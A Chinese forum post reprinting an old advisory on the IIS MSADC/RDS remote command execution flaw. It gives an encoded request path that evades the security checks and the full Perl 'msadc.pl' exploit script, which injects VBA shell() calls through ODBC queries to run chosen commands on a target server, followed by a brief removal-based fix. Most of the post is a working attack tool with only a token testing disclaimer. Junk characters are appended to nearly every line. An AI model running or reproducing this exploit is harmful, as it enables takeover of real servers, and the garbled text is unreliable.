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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Kfb(wW  
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涉及程序: ZS+m}.,whQ  
Microsoft NT server 8i[TeW"  
Kuh3.1#o  
描述: P0m9($JBD  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %WU=Vy4  
zlEI_th:~  
详细: A<|9</9z  
如果你没有时间读详细内容的话,就删除: X8m-5(uW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \r:*`Z*y  
有关的安全问题就没有了。 wb62($  
C0f%~UMwd  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _fk}d[q0  
gN<7(F  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]8%E'd  
关于利用ODBC远程漏洞的描述,请参看: PsUO8g'\  
82,^Pu  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1,=:an  
)zO|m7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 8F>9CO:&N  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?{'_4n3O  
^^}htg  
这里不再论述。 7NRa&W2  
#+D][LH4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: M <JX  
/#T{0GBXe  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^&&Wv'7XQ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! yFk|8d-|  
{,5 .svO  
`5- ;'nX  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -Wa<}Tz  
CP\[9#]:  
#!perl YZfi-35@g  
# 0B8Wf/j?M  
# MSADC/RDS 'usage' (aka exploit) script BTwc(oL  
# S}rEQGGR{  
# by rain.forest.puppy ahg P"Qz  
# 1y:fH4V  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Fq~Zr;A  
# beta test and find errors! M 0}r)@  
dCM &Yf}K  
use Socket; use Getopt::Std; ]R\L~Kr  
getopts("e:vd:h:XR", \%args); 95IP_1}?  
k(RKAFjY  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; K@e2%hk9x  
HYO/]\al  
if (!defined $args{h} && !defined $args{R}) { +)yoQRekX  
print qq~ [nHN@ p|  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vmNo~clt\  
-h <host> = host you want to scan (ip or domain) %Y0lMNP  
-d <seconds> = delay between calls, default 1 second xkFa  
-X = dump Index Server path table, if available [?N,3  
-v = verbose rPy,PQG2w  
-e = external dictionary file for step 5 +mBS&FK  
to).PI?  
Or a -R will resume a command session r&xIVFPI[  
H2|'JA#v  
~; exit;} x7 e0&  
C+t3a@&|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; K?,? .!ev  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} EG^ rh;  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} #f(tzPD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nW]CA~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8Ys)qx>7'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } }.D18bE(  
V?yQm4  
if (!defined $args{R}){ $ret = &has_msadc; MPnMLUB$\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *PlKl_nP6  
Y>3zpeQ!&  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;Egl8Vhr  
. "cmd /c "; 6I(Y<LZ5  
$in=<STDIN>; chomp $in; KW'nW  
$command="cmd /c " . $in ; >!Y#2]@}o  
^7>~y(  
if (defined $args{R}) {&load; exit;} 5q@s6_"{  
eb}XooX  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q'7.lrKwa>  
&try_btcustmr; fcp_<2KH  
I-8I/RRkmP  
print "\nStep 2: Trying to make our own DSN..."; Cm8h b  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -ewR:Y@j  
]6^S: K_"  
print "\nStep 3: Trying known DSNs..."; 4xT /8>v2|  
&known_dsn; #\N8E-d  
/zh:7N  
print "\nStep 4: Trying known .mdbs..."; 1O,5bi>t7  
&known_mdb; 4E=QO!pVv  
Chl^LEN:  
if (defined $args{e}){ !oi {8X@  
print "\nStep 5: Trying dictionary of DSN names..."; 9ec?L  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?A\+s,9  
%VB4/~ "  
print "Sorry Charley...maybe next time?\n"; Ys_L GfK  
exit; o1\N)%  
4sSw7`  
############################################################################## _l] 0V g`  
D]fgBW-  
sub sendraw { # ripped and modded from whisker a{e 2*V  
sleep($delay); # it's a DoS on the server! At least on mine... fz VN;h  
my ($pstr)=@_; Muq~p~m}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eu)""l  
die("Socket problems\n"); ;Q&9 t  
if(connect(S,pack "SnA4x8",2,80,$target)){ kLF3s#k  
select(S); $|=1; -4Dz9 8du  
print $pstr; my @in=<S>; s\~j,$Mm2  
select(STDOUT); close(S); /C'_-U?  
return @in; cV1E<CM  
} else { die("Can't connect...\n"); }} }vx 46  
q;QasAQS`p  
############################################################################## I+W,%)vb  
ze9n}oN  
sub make_header { # make the HTTP request Ki:t!vAO  
my $msadc=<<EOT S['%>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ]qZj@0#7n  
User-Agent: ACTIVEDATA W,,3@:  
Host: $ip m4uh<;C~  
Content-Length: $clen dm_Pz\ *  
Connection: Keep-Alive -#;ZZ \fdj  
%L)QTv/  
ADCClientVersion:01.06 % &H^UxC  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )mAD<y+  
@\gE{;a8  
--!ADM!ROX!YOUR!WORLD! 6)=;cc{Vr  
Content-Type: application/x-varg 6NyUGGRq  
Content-Length: $reqlen O%bltNEx1  
NMg(tmh  
EOT nfZe"|d  
; $msadc=~s/\n/\r\n/g; 3rZPVR$))  
return $msadc;} GNwFB)?j  
im+g |9@%  
############################################################################## H_S"4ISS_  
}jce5E  
sub make_req { # make the RDS request ^wSGrV'  
my ($switch, $p1, $p2)=@_; \I6F;G6  
my $req=""; my $t1, $t2, $query, $dsn; I4ZbMnO  
6^jrv [d  
if ($switch==1){ # this is the btcustmr.mdb query s!D?%  
$query="Select * from Customers where City=" . make_shell(); xh<{lZ)KJ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3HR)H-@6@7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 1x/R  
8kd):gZKZ  
elsif ($switch==2){ # this is general make table query Hsov0  
$query="create table AZZ (B int, C varchar(10))"; (6H 7?nv  
$dsn="$p1";} =],c$)  
Z s| *+[  
elsif ($switch==3){ # this is general exploit table query ]C+P J:CC  
$query="select * from AZZ where C=" . make_shell(); kuLur)^  
$dsn="$p1";}   h)W#  
5i{J0/'Xu)  
elsif ($switch==4){ # attempt to hork file info from index server sm[zE /2b  
$query="select path from scope()"; @o}J)  
$dsn="Provider=MSIDXS;";} <o|k'Y(-  
"5$p=|  
elsif ($switch==5){ # bad query dKXzFyW  
$query="select"; J?t(TW6E  
$dsn="$p1";} ow`F 7  
9T$%^H9  
$t1= make_unicode($query); &.yX41R  
$t2= make_unicode($dsn); c;t3I},  
$req = "\x02\x00\x03\x00"; Q9p7{^m&E  
$req.= "\x08\x00" . pack ("S1", length($t1)); {@x-T  
$req.= "\x00\x00" . $t1 ; ~z41$~/  
$req.= "\x08\x00" . pack ("S1", length($t2)); 1S+T:n  
$req.= "\x00\x00" . $t2 ; mo4F\$2N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Y> E` 7n  
return $req;} zcOm"-E-  
.bV^u  
############################################################################## *GhV1# <  
9P#kV@%(0c  
sub make_shell { # this makes the shell() statement Ps 0<CUyI  
return "'|shell(\"$command\")|'";} Wy1.nn[  
HpeU'0u0VK  
############################################################################## E)p[^1WC  
y fuH  
sub make_unicode { # quick little function to convert to unicode it>l?h7I  
my ($in)=@_; my $out; ~EQ# %db  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } X$t!g`  
return $out;} \ ux {J  
|Q%nnN  
############################################################################## f/.f08  
xu]Kt+QnSk  
sub rdo_success { # checks for RDO return success (this is kludge) FL$S_JAw  
my (@in) = @_; my $base=content_start(@in);  9,tk  
if($in[$base]=~/multipart\/mixed/){ cuf]-C1_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +uNMyVH  
return 0;} 6>&(OV   
bq5we*" V  
############################################################################## |XQ\c.A  
By*YBZ  
sub make_dsn { # this makes a DSN for us `4Z:qh+fJ  
my @drives=("c","d","e","f"); NVom6K  
print "\nMaking DSN: "; z}r  
foreach $drive (@drives) { z^/9YzA!6  
print "$drive: "; Lcy6G%A  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Sy*p6DP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" oj?y_0}:^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "9vL+Hh  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; UH(w, R`  
return 0 if $2 eq "404"; # not found/doesn't exist v y-(:aH7U  
if($2 eq "200") { R:^jQ'1  
foreach $line (@results) { }U}ppq0Eo  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0E3;f;'X  
} return 0;} WkpHe  
)#? K2E  
############################################################################## bVZA f  
Crla~h?=  
sub verify_exists { VS~+W=5}  
my ($page)=@_; ~Kt+j  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4] u\5K-  
return $results[0];} cnY}^_  
CqX*.j{  
############################################################################## * +6Z^ 7  
x>J(3I5_b  
sub try_btcustmr { ka`}lR  
my @drives=("c","d","e","f"); p~(STHDe#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `oO*ORq&  
(2 hI  
foreach $dir (@dirs) { N /;Vg ^Wx  
print "$dir -> "; # fun status so you can see progress OSJj^Y)W|  
foreach $drive (@drives) { AOqL&z  
print "$drive: "; # ditto 11A$#\,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @6;ZP1  
$reqlenlen=length( "$reqlen" ); 0uGTc[^^M  
$clen= 206 + $reqlenlen + $reqlen; cp`ZeLz2^  
BuitM|k'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); y<BG-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Xoq -  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;<F^&/a|yQ  
uaLjHR0  
############################################################################## 8|!"CQJ|H  
(Dba!zSs  
sub odbc_error { *u[@C  
my (@in)=@_; my $base; /Ea&Zm  
my $base = content_start(@in); mZnsr@KF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this >V%.=})K  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h>z5m   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tC/+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >@-BZJg/k  
return $in[$base+4].$in[$base+5].$in[$base+6];}  z' 5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ?cK67|%W  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }_+):<Db  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ij}{H#0S-  
{"N:2  
############################################################################## j97K\]tQ  
yZmeke)_  
sub verbose { 6OtNWbB  
my ($in)=@_; %Go/\g   
return if !$verbose; ],zp~yVU&  
print STDOUT "\n$in\n";} AJoP3Zv|?  
TTo?BVBK  
##############################################################################  {yxLL-5c  
O_DT7;g  
sub save { m_;XhO  
my ($p1, $p2, $p3, $p4)=@_; I;{Ua *  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W6u(+P]("  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?. L]QU  
close OUT;} 3CSwcD  
SEM- t   
############################################################################## i\K88B&24  
Yqt~h  
sub load { Yic4|N?u  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (;N#Gqb6l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =ATQ2\T$m  
@p=<IN>; close(IN); =6qSo @  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {Q^ -  
$target= inet_aton($ip) || die("inet_aton problems"); 83)m#  
print "Resuming to $ip ..."; $?OQtz@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sei%QE]!/  
if($p[1]==1) { [E9_ZdB T  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Z|3[Y@c \  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; {{ 1qk G9$  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); oRmA\R*  
if (rdo_success(@results)){print "Success!\n";} YTfi g{a  
else { print "failed\n"; verbose(odbc_error(@results));}} 2H~E~6G  
elsif ($p[1]==3){ H<*n5r(c  
if(run_query("$p[3]")){ 5VGZ5,+<<  
print "Success!\n";} else { print "failed\n"; }} 7e)j|a-!<  
elsif ($p[1]==4){ j}G9+GX~,  
if(run_query($drvst . "$p[3]")){ E6?0/"  
print "Success!\n"; } else { print "failed\n"; }} - C8VDjf9  
exit;} Pf3F)y[=  
{J;(K~>?m  
############################################################################## F]RZP/D`  
AbX#wpp!  
sub create_table {  "'Q~&B;@  
my ($in)=@_; +4[Je$qYa  
$reqlen=length( make_req(2,$in,"") ) - 28; 0.U- tg0  
$reqlenlen=length( "$reqlen" ); J[\8:qE  
$clen= 206 + $reqlenlen + $reqlen; E8aD[j[w  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~x+&cA-0A2  
return 1 if rdo_success(@results); Saks~m7,  
my $temp= odbc_error(@results); verbose($temp); C&.Q|S2_  
return 1 if $temp=~/Table 'AZZ' already exists/;  Q 6r  
return 0;} WvcPOt8Bp>  
 {C%f~j  
############################################################################## TO/SiOd  
@Fb 2c0?Y  
sub known_dsn { }%3i8e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go VF~kjH2>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", V'l9fj*E  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "Q[?W( SA  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;F /w&u.n  
}l5Q0'  
foreach $dSn (@dsns) { 87R$Y> V  
print "."; =o[H2o y  
next if (!is_access("DSN=$dSn")); {t('`z  
if(create_table("DSN=$dSn")){ oe=W}y_k  
print "$dSn successful\n"; suN}6C I  
if(run_query("DSN=$dSn")){ uLt31G()  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -]:1zU  
print "Something's borked. Use verbose next time\n";}}} print "\n";} r <2&_$|  
]OC?g2&6  
############################################################################## O7f"8|=HX  
*3y_FTh8ra  
sub is_access { 07vzVsQ}p  
my ($in)=@_; ?|GwuG8g  
$reqlen=length( make_req(5,$in,"") ) - 28; 0)9n${P7d  
$reqlenlen=length( "$reqlen" ); $$T a  
$clen= 206 + $reqlenlen + $reqlen; tG 0 &0`  
my @results=sendraw(make_header() . make_req(5,$in,"")); S6{y%K2y&  
my $temp= odbc_error(@results); )kE1g&  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *nHkK!d<N  
return 0;} ~[0^{$rrWs  
f3mQd}<L  
############################################################################## u/` t+-A  
|#22pq?RP  
sub run_query { D!V*H?;U  
my ($in)=@_; @:P:`Zk  
$reqlen=length( make_req(3,$in,"") ) - 28; ~mT([V  
$reqlenlen=length( "$reqlen" ); X D \;|  
$clen= 206 + $reqlenlen + $reqlen; q)RTy|NJ^  
my @results=sendraw(make_header() . make_req(3,$in,"")); HQc^ybX5  
return 1 if rdo_success(@results); `OWwqLoeA  
my $temp= odbc_error(@results); verbose($temp); %eJE@$  
return 0;} vZ|Wj] ;o  
*>jJ<8!  
############################################################################## MVp+2@)}s  
t28 y=nv  
sub known_mdb { `Oe}OSxnT  
my @drives=("c","d","e","f","g"); stq%Eg?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lkQ(?7  
my $dir, $drive, $mdb; >oyZD^gj  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @KU^B_{i  
.:Zb~  
# this is sparse, because I don't know of many gzp]hh@4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", GAlM:>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @[O|n)7  
"\\system32\\certmdb.mdb", P2 z~U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `M ~-(,++  
E~`<n]{G-C  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", LC0g"{M  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]KQBek#DD  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]fU0;jzX  
"\\cfusion\\cfapps\\security\\realm_.mdb", ,veI'WHMB  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Bv^5L>JZ/  
"\\cfusion\\database\\cfexamples.mdb", .Q DeS|l  
"\\cfusion\\database\\cfsnippets.mdb", P5Pb2|\*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Y58et9gRO  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", f}Uf* Bp  
"\\cfusion\\brighttiger\\database\\cleam.mdb", lR5k1J1n  
"\\cfusion\\database\\smpolicy.mdb", 'CvV Ktk  
"\\cfusion\\database\cypress.mdb", 2Gn26L 5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @5cY5e*i{  
"\\website\\cgi-win\\dbsample.mdb", fh9w5hT={  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dz )(~@tgz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #$ ,b )Uy  
); #these are just ;<BMgO}N  
foreach $drive (@drives) { 'I@l$H  
foreach $dir (@dirs){ o AM)<#U>  
foreach $mdb (@sysmdbs) { P"Y7N?\](  
print "."; >'&|{s[m  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ R(GL{Dh}L  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +3r4GEa Z  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ +w(B9rH  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6f;20dn 6  
} else { print "Something's borked. Use verbose next time\n"; }}}}} m@g9+7  
p^ )iC&*0  
foreach $drive (@drives) { J QA]O/|N  
foreach $mdb (@mdbs) { P u,JR  
print "."; +?GsIp@>jh  
if(create_table($drv . $drive . $dir . $mdb)){ rpv<'$6  
print "\n" . $drive . $dir . $mdb . " successful\n"; b yX)4&  
if(run_query($drv . $drive . $dir . $mdb)){ e0`5PVJ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Vv*](iM  
} else { print "Something's borked. Use verbose next time\n"; }}}} Gg5+Ap D  
} > |(L3UA9  
'E4}++\  
############################################################################## Eu$hC]w  
q4Y7 HE|ym  
sub hork_idx { ; r95i1a'  
print "\nAttempting to dump Index Server tables...\n"; g ?{o2gG  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; |) CfO4  
$reqlen=length( make_req(4,"","") ) - 28; 4&G #Bi  
$reqlenlen=length( "$reqlen" ); *m[[>wE  
$clen= 206 + $reqlenlen + $reqlen; o|y1m7X  
my @results=sendraw2(make_header() . make_req(4,"","")); jL:GP}I=  
if (rdo_success(@results)){ 9QEK|x`8  
my $max=@results; my $c; my %d; ;~(yv|f6  
for($c=19; $c<$max; $c++){ ]eo%eaA   
$results[$c]=~s/\x00//g; >4nQ&b.u  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; N$<R6DU]K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; J(Zz^$8]<?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }KR"0G[f  
$d{"$1$2"}="";} |_%q@EID  
foreach $c (keys %d){ print "$c\n"; } T< o8lL  
} else {print "Index server doesn't seem to be installed.\n"; }} *JiI>[  
qR9!DQc'  
############################################################################## I"HA( +G  
X> U _v  
sub dsn_dict { 0G(|`xG1q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *fQn!2}=(  
while(<IN>){ +RyV"&v  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; a[NR%Xq  
next if (!is_access("DSN=$dSn"));  OF O,5  
if(create_table("DSN=$dSn")){ mD;ioaE  
print "$dSn successful\n"; !u|s8tN.U  
if(run_query("DSN=$dSn")){ P$6 Pe>3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :d wP  
print "Something's borked. Use verbose next time\n";}}} 4z,/0  
print "\n"; close(IN);} h.5KzC S  
MCl-er"]D  
############################################################################## "$A5:1;  
%(:{TR  
sub sendraw2 { # ripped and modded from whisker o8N,mGj}  
sleep($delay); # it's a DoS on the server! At least on mine... x,TnYqT^  
my ($pstr)=@_; B9S@G{`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'm.+S8  
die("Socket problems\n"); Dao=2JB{  
if(connect(S,pack "SnA4x8",2,80,$target)){  !xEGN@  
print "Connected. Getting data"; }z-6,i)'k  
open(OUT,">raw.out"); my @in; H}g p`YW:4  
select(S); $|=1; print $pstr; YZ6" s-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} deCi\n  
close(OUT); select(STDOUT); close(S); return @in; kQO-V4z!  
} else { die("Can't connect...\n"); }} -v$ q8_$m"  
$Ao'mT  
############################################################################## *Nur>11D  
,n &Lp  
sub content_start { # this will take in the server headers \W 7pSV-U  
my (@in)=@_; my $c; t@q==VHF  
for ($c=1;$c<500;$c++) { DY1"t7 9E  
if($in[$c] =~/^\x0d\x0a/){ Hh* KcIRX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } TEi1,yc  
else { return $c+1; }}} ?b\oM v5y  
return -1;} # it should never get here actually Z=(Tq1t  
qI*7ToBJ  
############################################################################## hp}JKj@  
-!IeP]n#P  
sub funky { t)4] 2z)$  
my (@in)=@_; my $error=odbc_error(@in); |2Uw8M7.E  
if($error=~/ADO could not find the specified provider/){ 3e)$<e  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {2U3   
exit;} )oy+-1dE  
if($error=~/A Handler is required/){ y-mjfW`n  
print "\nServer has custom handler filters (they most likely are patched)\n"; >{>X.I~  
exit;} SZ~lCdWad  
if($error=~/specified Handler has denied Access/){ ; KT/;I  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8LUl@!4b  
exit;}} JV?d/[u,  
O"J"H2}S  
############################################################################## ^ LVKXr  
XC4wm#R  
sub has_msadc { GIhFOK  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); rTim1<IXR  
my $base=content_start(@results); H{1'- wB  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z-h?Q4;  
return 0;} h;):TFiC  
L9d|7.b  
######################## |BXp`  
@Y!B~  
]rji]4s  
解决方案: T9uOOI  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll */4hFD {  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9U Hh#  
g!^mewtd  
拿出来充数 哈哈
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